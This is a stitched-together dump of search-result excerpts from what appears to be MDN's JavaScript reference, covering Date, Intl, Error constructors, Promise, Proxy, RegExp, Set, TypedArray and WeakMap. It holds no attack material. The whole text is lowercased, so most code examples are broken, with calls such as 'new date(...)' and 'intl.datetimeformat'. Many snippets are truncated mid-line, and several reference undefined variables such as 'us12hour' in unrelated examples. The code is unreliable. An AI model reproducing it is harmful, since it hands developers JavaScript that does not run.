... using this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification.
Date.prototype.getMonth() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var month = xmas95.getmonth(); console.log(month); // 11 note: if needed, the full name of a month ("january" for example) can be obtained by using intl.datetimeformat() with an options parameter.
... using this method, internationalization is made easier: var options = { month: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification.
Date.prototype.setFullYear() - JavaScript
returns new timestamp.
... examples using setfullyear() var thebigday = new date(); thebigday.setfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setfullyear' in that specification.
Date.prototype.setMonth() - JavaScript
conceptually it will add the number of days given by the current day of the month to the 1st day of the new month specified as the parameter, to return the new date.
... examples using setmonth() var thebigday = new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth = new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification.
Date.prototype.toString() - JavaScript
console.log(new date()), or when a date is used in a string concatenation, such as var today = 'today is ' + new date().
... examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tostring' in that specification.
Error.prototype.toString() - JavaScript
its semantics are as follows (assuming object and string have their original values): error.prototype.tostring = function() { 'use strict'; var obj = object(this); if (obj !== this) { throw new typeerror(); } var name = this.name; name = (name === undefined) ?
...'' : string(msg); if (name === '') { return msg; } if (msg === '') { return name; } return name + ': ' + msg; }; examples using tostring() var e = new error('fatal error'); console.log(e.tostring()); // 'error: fatal error' e.name = undefined; console.log(e.tostring()); // 'error: fatal error' e.name = ''; console.log(e.tostring()); // 'fatal error' e.message = undefined; console.log(e.tostring()); // '' e.name = 'hello'; console.log(e.tostring()); // 'hello' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.tostring' in that specification.
EvalError - JavaScript
constructor evalerror() creates a new evalerror object.
... creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratc...
FinalizationRegistry() constructor - JavaScript
syntax new finalizationregistry([callback]); parameters callback optional the callback function this registry should use.
... examples creating a new registry you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // ....
FinalizationRegistry.prototype.unregister() - JavaScript
using unregister this example shows registering a target object using that same object as the unregister token, then later unregistering it via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance.
...gister(this); // ^^^^−−−−− unregister token } } this example shows registering a target object using a different object as its unregister token: { // ^^^^−−−−− held value console.error( `the \`release\` method was never called for the \`thingy\` for the file "${file.name}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance for the given file.
InternalError() constructor - JavaScript
syntax new internalerror([message[, filename[, linenumber]]]) parameters message optional.
...the line number of the code that caused the exception examples creating a new internalerror new internalerror("engine failure"); specifications not part of any standard.
Intl.Collator() constructor - JavaScript
syntax new intl.collator([locales[, options]]) parameters locales optional.
... examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions.
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); let date3 = new date(date.utc(2007, 0, 20, 10, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' // > 'sat, 20 jan 2007 10:00:00 gmt' let fmt1 = new intl.datetimeformat("en", { year: '2-digit', month: 'numeric', day: 'numeric', hour: 'numeric', minute:...
... 'numeric' }); console.log(fmt1.format(date1)); console.log(fmt1.formatrange(date1, date2)); console.log(fmt1.formatrange(date1, date3)); // > '1/10/07, 10:00 am' // > '1/10/07, 10:00 – 11:00 am' // > '1/10/07, 10:00 am – 1/20/07, 10:00 am' let fmt2 = new intl.datetimeformat("en", { year: 'numeric', month: 'short', day: 'numeric' }); console.log(fmt2.format(date1)); console.log(fmt2.formatrange(date1, date2)); console.log(fmt2.formatrange(date1, date3)); // > 'jan 10, 2007' // > 'jan 10, 2007' // > 'jan 10 – 20, 2007' specifications specification intl.datetimeformat.formatrangethe definition of 'formatrange()' in that specification.
Intl.DisplayNames() constructor - JavaScript
syntax new intl.displaynames([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
... console.log((new intl.displaynames()).of('us')); // expected output: 'us' specifications specification intl.displaynamesthe definition of 'the intl.displaynames constructor' in that specification.
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
the intl.displaynames.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and style formatting options computed during the construction of the current displaynames object.
... examples using resolvedoptions const displaynames = new intl.displaynames(['de-de'], {type: 'region'}); const usedoptions = displaynames.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "long" console.log(usedoptions.type); // "region" console.log(usedoptions.fallback); // "code" specifications specification intl.displaynamesthe definition of 'resolvedoptions()' in tha...
Intl.ListFormat() constructor - JavaScript
syntax new intl.listformat([locales[, options]]) parameters locales optional.
... const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification ...
Intl​.List​Format​.prototype​.resolvedOptions() - JavaScript
the intl.listformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and style formatting options computed during the construction of the current listformat object.
... examples using resolvedoptions const delistformatter = new intl.listformat("de-de", { style: "short" }); const usedoptions = de.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "short" console.log(usedoptions.type); // "conjunction" (the default value) specifications specification intl.listformatthe definition of 'resolvedoptions()' in that specification.
Intl.Locale.prototype.baseName - JavaScript
examples basic example let myloc = new intl.locale("fr-latn-ca"); // sets locale to canadian french console.log(myloc.tostring()); // prints out "fr-latn-ca-u-ca-gregory" console.log(myloc.basename); // prints out "fr-latn-ca" example with options in the input string // sets language to japanese, region to japan, // calendar to gregorian, hour cycle to 24 hours let japan = new intl.locale("ja-jp-u-ca-gregory-hc-24"); console.log(ja...
...pan.tostring()); // prints out "ja-jp-u-ca-gregory-hc-h24" console.log(japan.basename); // prints out "ja-jp" example with options that override input string // input string indicates language as dutch and region as belgium, // but options object overrides the region and sets it to the netherlands let dutch = new intl.locale("nl-latn-be", {region: "nl"}); console.log(dutch.basename); // prints out "nl-latn-nl" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.calendar - JavaScript
let frbuddhist = new intl.locale("fr-fr-u-ca-buddhist"); console.log(frbuddhist.calendar); // prints "buddhist" adding a calendar with a configuration object the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including calendars.
... let frbuddhist = new intl.locale("fr-fr", {calendar: "buddhist"}); console.log(frbuddhist.calendar); // prints "buddhist" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.caseFirst - JavaScript
let casefirststr = new intl.locale("fr-latn-fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let casefirstobj= new intl.locale("en-latn-us", {casefirst: "lower"}); console.log(us12hour.casefirst); // prints "lower" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.collation - JavaScript
let stringcoll = new intl.locale("en-latn-us-u-co-emoji"); console.log(stringcoll.collation); // prints "emoji" adding a collation type via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including collation types.
... let configcoll = new intl.locale("en-latn-us", {collation: "emoji"}); console.log(configcoll.collation); // prints "emoji" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.hourCycle - JavaScript
let fr24hour = new intl.locale("fr-fr-u-hc-h23"); console.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types.
... let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.language - JavaScript
let langstr = new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language via the configuration object while the language subtag must be specified, the locale constructor takes a configuration object, which can override the language subtag.
... let langobj = new intl.locale("en-latn-us", {language: "es"}); console.log(langobj.language); // prints "es" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.numeric - JavaScript
let numericviastr = new intl.locale("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let numericviaobj= new intl.locale("en-latn-us", {numeric: true}); console.log(us12hour.numeric); // prints "true" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.region - JavaScript
the region is a mandatory part of a let regionstr = new intl.locale("en-latn-us"); console.log(regionstr.region); // prints "us" setting the region via the configuration object the locale constructor takes a configuration object, which can be used to set the region subtag and property.
... let regionobj = new intl.locale("fr-latn", {region: "fr"}); console.log(regionobj.region); // prints "fr" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.script - JavaScript
let scriptstr = new intl.locale("en-latn-us"); console.log(scriptstr.script); // prints "latn" setting the script via the configuration object the locale constructor takes a configuration object, which can be used to set the script subtag and property.
... let scriptobj = new intl.locale("fr-fr", {script: "latn"}); console.log(scriptobj.script); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.RelativeTimeFormat.prototype.format() - JavaScript
const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
...const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using negative value (-1).
Map.prototype.forEach() - JavaScript
new values added before foreach has finished will be visited.
... examples printing the contents of a map object the following code logs a line for each element in an map object: function logmapelements(value, key, map) { console.log(`map.get('${key}') = ${value}`) } new map([['foo', 3], ['bar', {}], ['baz', undefined]]).foreach(logmapelements) // logs: // "map.get('foo') = 3" // "map.get('bar') = [object object]" // "map.get('baz') = undefined" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.foreach' in that specification.
Number() constructor - JavaScript
syntax new number(value) parameters value the numeric value of the object being created.
... examples creating number objects const a = new number('123'); // a === 123 is false const b = number('123'); // b === 123 is true a instanceof number; // is true b instanceof number; // is false specifications specification ecmascript (ecma-262)the definition of 'number constructor' in that specification.
Number - JavaScript
literal syntax 123 // one-hundred twenty-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 // true number("unicorn") // nan number(undefined) // nan constructor number() creates a new number value.
... using number to convert a date object the following example converts the date object to a numerical value using number as a function: let d = new date('december 17, 1995 03:24:00') console.log(number(d)) this logs 819199440000.
Object.isFrozen() - JavaScript
examples using object.isfrozen // a new object is extensible, so it is not frozen.
...var vacuouslyfrozen = object.preventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen.
Object.prototype.toSource() - JavaScript
for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascript type has its own tosource() method.
... examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Object.prototype.valueOf() - JavaScript
in +new number()).
... examples using valueof on custom types function mynumbertype(n) { this.number = n; } mynumbertype.prototype.valueof = function() { return this.number; }; var myobj = new mynumbertype(4); myobj + 3; // 7 using unary plus +"5" // 5 (string to number) +"" // 0 (string to number) +"1 + 2" // nan (doesn't evaluate) +new date() // same as (new date()).gettime() +"foo" // nan (string to number) +{} // nan +[] // 0 (tostring() returns an empty string list) +[1] // 1 +[1,2] // nan +new set([1]) // nan +bigint(1) // uncaught typeerror: cannot convert a bigint value to a...
Promise.prototype.finally() - JavaScript
note: a throw (or returning a rejected promise) in the finally callback will reject the new promise with the rejection reason specified when calling throw.
... examples using finally let isloading = true; fetch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .catch(function(error) { console.error(error); /* this line can also throw, e.g.
Promise.race() - JavaScript
ettimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race – examples with settimeout var p1 = new promise(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 = new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 = new promise(function(resolve, reject) { settimeout(() => resolve('three'), 100); }); va...
...r p4 = new promise(function(resolve, reject) { settimeout(() => reject(new error('four')), 500); }); promise.race([p3, p4]) .then(function(value) { console.log(value); // "three" // p3 is faster, so it fulfills }, function(reason) { // not called }); var p5 = new promise(function(resolve, reject) { settimeout(() => resolve('five'), 500); }); var p6 = new promise(function(resolve, reject) { settimeout(() => reject(new error('six')), 100); }); promise.race([p5, p6]) .then(function(value) { // not called }, function(error) { console.log(error.message); // "six" // p6 is faster, so it rejects }); specifications specification ecmascript (ecma-262)the definition of 'promise.race' in that specification.
handler.apply() - JavaScript
syntax const p = new proxy(target, { apply: function(target, thisarg, argumentslist) { } }); parameters the following parameters are passed to the apply() method.
... const p = new proxy(function() {}, { apply: function(target, thisarg, argumentslist) { console.log('called: ' + argumentslist.join(', ')); return argumentslist[0] + argumentslist[1] + argumentslist[2]; } }); console.log(p(1, 2, 3)); // "called: 1, 2, 3" // 6 specifications specification ecmascript (ecma-262)the definition of '[[call]]' in that spec...
handler.deleteProperty() - JavaScript
syntax const p = new proxy(target, { deleteproperty: function(target, property) { } }); parameters the following parameters are passed to the deleteproperty() method.
... const p = new proxy({}, { deleteproperty: function(target, prop) { if (prop in target){ delete target[prop] console.log('property removed: ' + prop) return true } else { console.log('property not found: ' + prop) return false } } }) let result p.a = 10 console.log('a' in p) // true result = delete p.a // "property removed: a" console.log(result) // tr...
Proxy.revocable() - JavaScript
return value a newly created revocable proxy object is returned.
... proxy a proxy object created with new proxy(target, handler) call.
RangeError() constructor - JavaScript
syntax new rangeerror([message[, filename[, linenumber]]]) parameters message optional human-readable description of the error.
... filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { ...
RangeError - JavaScript
constructor rangeerror() creates a new rangeerror object.
... examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "...
ReferenceError() constructor - JavaScript
syntax new referenceerror([message[, filename[, linenumber]]]) parameters message optional optional.
...age) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.l...
ReferenceError - JavaScript
constructor referenceerror() creates a new referenceerror object.
...age) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.l...
Reflect.preventExtensions() - JavaScript
the static reflect.preventextensions() method prevents new properties from ever being added to an object (i.e., prevents future extensions to the object).
... description the reflect.preventextensions() method allows you to prevent new properties from ever being added to an object (i.e., prevents future extensions to the object).
RegExp.prototype.compile() - JavaScript
examples using compile() the following example shows how to recompile a regular expression with a new pattern and a new flag.
... var regexobj = new regexp('foo', 'gi'); regexobj.compile('new foo', 'g'); specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.compile' in that specification.
RegExp.prototype.dotAll - JavaScript
the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will match any character on the unicode basic multilingual plane (bmp).
... examples using dotall var str1 = 'bar\nexample foo example'; var regex1 = new regexp('bar.example','s'); console.log(regex1.dotall); // output: true console.log(str1.replace(regex1,'')); // output: foo example var str2 = 'bar\nexample foo example'; var regex2 = new regexp('bar.example'); console.log(regex2.dotall); // output: false console.log(str2.replace(regex2,'')); // output: bar // example foo example specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.dotall' i...
RegExp.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+c/' var foo = new regexp('bar', 'g'); console.log(foo.tostring()); // logs '/bar/g' empty regular expressions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such as "\n" are escaped: new regexp().tostring(); // "/(?:)/" new regexp('\n').tostring() === '/\n...
.../'; // true, prior to es5 new regexp('\n').tostring() === '/\\n/'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.tostring' in that specification.
Set.prototype.add() - JavaScript
the add() method appends a new element with a specified value to the end of a set object.
... examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.delete() - JavaScript
examples using the delete() method const myset = new set(); myset.add('foo'); myset.delete('bar'); // returns false.
... const setobj = new set(); // create a new set.
Set.prototype.forEach() - JavaScript
new values added before foreach() has finished will be visited.
... examples logging the contents of a set object the following code logs a line for each element in a set object: function logsetelements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); } new set(['foo', 'bar', undefined]).foreach(logsetelements); // logs: // "s[foo] = foo" // "s[bar] = bar" // "s[undefined] = undefined" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.foreach' in that specification.
String.prototype[@@iterator]() - JavaScript
the [@@iterator]() method returns a new iterator object that iterates over the code points of a string value, returning each code point as a string value.
... syntax str[symbol.iterator] return value a new iterator object.
String.prototype.charAt() - JavaScript
the string object's charat() method returns a new string consisting of the single utf-16 code unit located at the specified offset into the string.
... examples displaying characters at different locations in a string the following example displays characters at different locations in the string "brave new world": var anystring = 'brave new world'; console.log("the character at index 0 is '" + anystring.charat() + "'"); // no index was provided, used 0 as default console.log("the character at index 0 is '" + anystring.charat(0) + "'"); console.log("the character at index 1 is '" + anystring.charat(1) + "'"); console.log("the character at index 2 is '" + anystring.charat(2) + "'");...
String.prototype.indexOf() - JavaScript
therefore, when checking if a specific string exists within another string, the correct way to check would be: 'blue whale'.indexof('blue') !== -1 // true 'blue whale'.indexof('bloe') !== -1 // false ~('blue whale'.indexof('bloe')) // 0, which is falsy examples using indexof() the following example uses indexof() to locate values in the string "brave new world".
... const str = 'brave new world' console.log('index of first w from start is ' + str.indexof('w')) // logs 8 console.log('index of "new" from start is ' + str.indexof('new')) // logs 6 indexof() and case-sensitivity the following example defines two string variables.
String.prototype.lastIndexOf() - JavaScript
for example, the following expression returns -1: 'blue whale, killer whale'.lastindexof('blue'); // returns -1 examples using indexof() and lastindexof() the following example uses indexof() and lastindexof() to locate values in the string "brave new world".
... let anystring = 'brave new world'; console.log('the index of the first w from the beginning is ' + anystring.indexof('w')); // logs 8 console.log('the index of the first w from the end is ' + anystring.lastindexof('w')); // logs 10 console.log('the index of "new" from the beginning is ' + anystring.indexof('new')); // logs 6 console.log('the index of "new" from the end is ' + anystring.lastindexof('new')); // logs 6 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.lastindexof' in that specification.
String.prototype.match() - JavaScript
if regexp is a non-regexp object, it is implicitly converted to a regexp by using new regexp(regexp).
... const capturingregex = /(?<animal>fox|cat) jumps over/; const found = paragraph.match(capturingregex); console.log(found.groups); // {animal: "fox"} using match() with no parameter const str = "nothing will come of nothing."; str.match(); // returns [""] a non-regexp object as the parameter when the regexp parameter is a string or a number, it is implicitly converted to a regexp by using new regexp(regexp).
String.prototype.matchAll() - JavaScript
if a non-regexp object obj is passed, it is implicitly converted to a regexp by using new regexp(obj).
... 'table football, foosball'; const matches = str.matchall(regexp); for (const match of matches) { console.log(`found ${match[0]} start=${match.index} end=${match.index + match[0].length}.`); } // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." // matches iterator is exhausted after the for..of iteration // call matchall again to create a new iterator array.from(str.matchall(regexp), m => m[0]); // array [ "football", "foosball" ] matchall will throw an exception if the g flag is missing.
Symbol.toStringTag - JavaScript
and more built-in tostringtag symbols object.prototype.tostring.call(new map()); // "[object map]" object.prototype.tostring.call(function* () {}); // "[object generatorfunction]" object.prototype.tostring.call(promise.resolve()); // "[object promise]" // ...
... and more custom classes default to object tag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects.
SyntaxError() constructor - JavaScript
the syntaxerror constructor creates a new error object that represents an error when trying to interpret syntactically invalid code.
... syntax new syntaxerror([message[, filename[, linenumber]]]) parameters message optional human-readable description of the error filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instanceof syntaxerror); // true console.error(e.message); // hello consol...
SyntaxError - JavaScript
constructor syntaxerror() creates a new syntaxerror object.
... examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instanceof syntaxerror); // true console.error(e.message); // hello console.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); ...
TypeError - JavaScript
constructor typeerror() creates a new typeerror object.
...nstanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratch...
TypedArray.prototype.every() - JavaScript
function isbigenough(element, index, array) { return element >= 10; } new uint8array([12, 5, 8, 130, 44]).every(isbigenough); // false new uint8array([12, 54, 18, 130, 44]).every(isbigenough); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
... new uint8array([12, 5, 8, 130, 44]).every(elem => elem >= 10); // false new uint8array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.every' in that specification.
TypedArray.prototype.forEach() - JavaScript
syntax typedarray.foreach(callback[, thisarg]) parameters callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
... examples logging the contents of a typed array the following code logs a line for each element in a typed array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element); } new uint8array([0, 1, 2, 3]).foreach(logarrayelements); // logs: // a[0] = 0 // a[1] = 1 // a[2] = 2 // a[3] = 3 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.foreach' in that specification.
TypedArray.prototype.some() - JavaScript
function isbiggerthan10(element, index, array) { return element > 10; } new uint8array([2, 5, 8, 1, 4]).some(isbiggerthan10); // false new uint8array([12, 5, 8, 1, 4]).some(isbiggerthan10); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
... new uint8array([2, 5, 8, 1, 4]).some(elem => elem > 10); // false new uint8array([12, 5, 8, 1, 4]).some(elem => elem > 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.some' in that specification.
TypedArray.prototype.toString() - JavaScript
var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation.
... compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
URIError() constructor - JavaScript
syntax new urierror([message[, filename[, linenumber]]]) parameters message optional optional.
....log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9...
URIError - JavaScript
constructor urierror() creates a new urierror object.
....log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9...
WeakMap.prototype.set() - JavaScript
the set() method adds a new element with a specified key and value to a weakmap object.
... examples using the set method var wm = new weakmap(); var obj = {}; // add new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification.
WeakSet() constructor - JavaScript
syntax new weakset([iterable]); parameters iterable if an iterable object is passed, all of its elements will be added to the new weakset.
... examples using the weakset object var ws = new weakset(); var foo = {}; var bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
